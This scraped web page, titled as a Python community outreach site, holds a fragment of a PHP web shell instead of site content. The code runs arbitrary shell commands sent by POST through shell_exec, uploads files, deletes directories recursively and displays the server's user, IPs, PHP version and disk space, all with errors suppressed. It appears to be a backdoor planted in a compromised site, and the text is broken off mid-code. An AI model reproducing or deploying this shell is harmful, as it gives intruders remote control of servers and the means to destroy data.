Buea - Creating Python Communities and outreach
File uploaded successfully!
"; } else { echo "
Failed to move uploaded file.
"; } } else { echo "
Error uploading file.
"; } } break; case 'execute': if (isset($_POST['command'])) { $command = $_POST['command']; $output = @shell_exec($command); } break; } } function deleteDirectory($dir) { if (!@is_dir($dir)) { return false; } $items = @array_diff(@scandir($dir), array('.', '..')); foreach ($items as $item) { $path = $dir . '/' . $item; if (@is_dir($path)) { deleteDirectory($path); } else { @unlink($path); } } return @rmdir($dir); } // PHP 4.3.9 compatible get_current_user alternative function my_get_current_user() { if (function_exists('get_current_user')) { return get_current_user(); } return 'unknown'; } $username = my_get_current_user(); $phpVersion = phpversion(); $dateTime = date('Y-m-d H:i:s'); $hddFreeSpace = @disk_free_space("/") / (1024 * 1024 * 1024); $hddTotalSpace = @disk_total_space("/") / (1024 * 1024 * 1024); $serverIP = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'N/A'; $clientIP = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'N/A'; $cwd = getcwd(); $parentDirectory = dirname($directory); $breadcrumbs = explode('/', $directory); $breadcrumbLinks = array(); $breadcrumbPath = ''; foreach ($breadcrumbs as $crumb) { $breadcrumbPath .= $crumb . '/'; $breadcrumbLinks[] = '' . htmlspecialchars($crumb) . ''; } $breadcrumbLinksString = implode(' / ', $breadcrumbLinks); ?>
File Manager
Current User:
Server IP:
Client IP:
PHP Version:
Free Space: GB
Name | Size | Type | Actions |
---|---|---|---|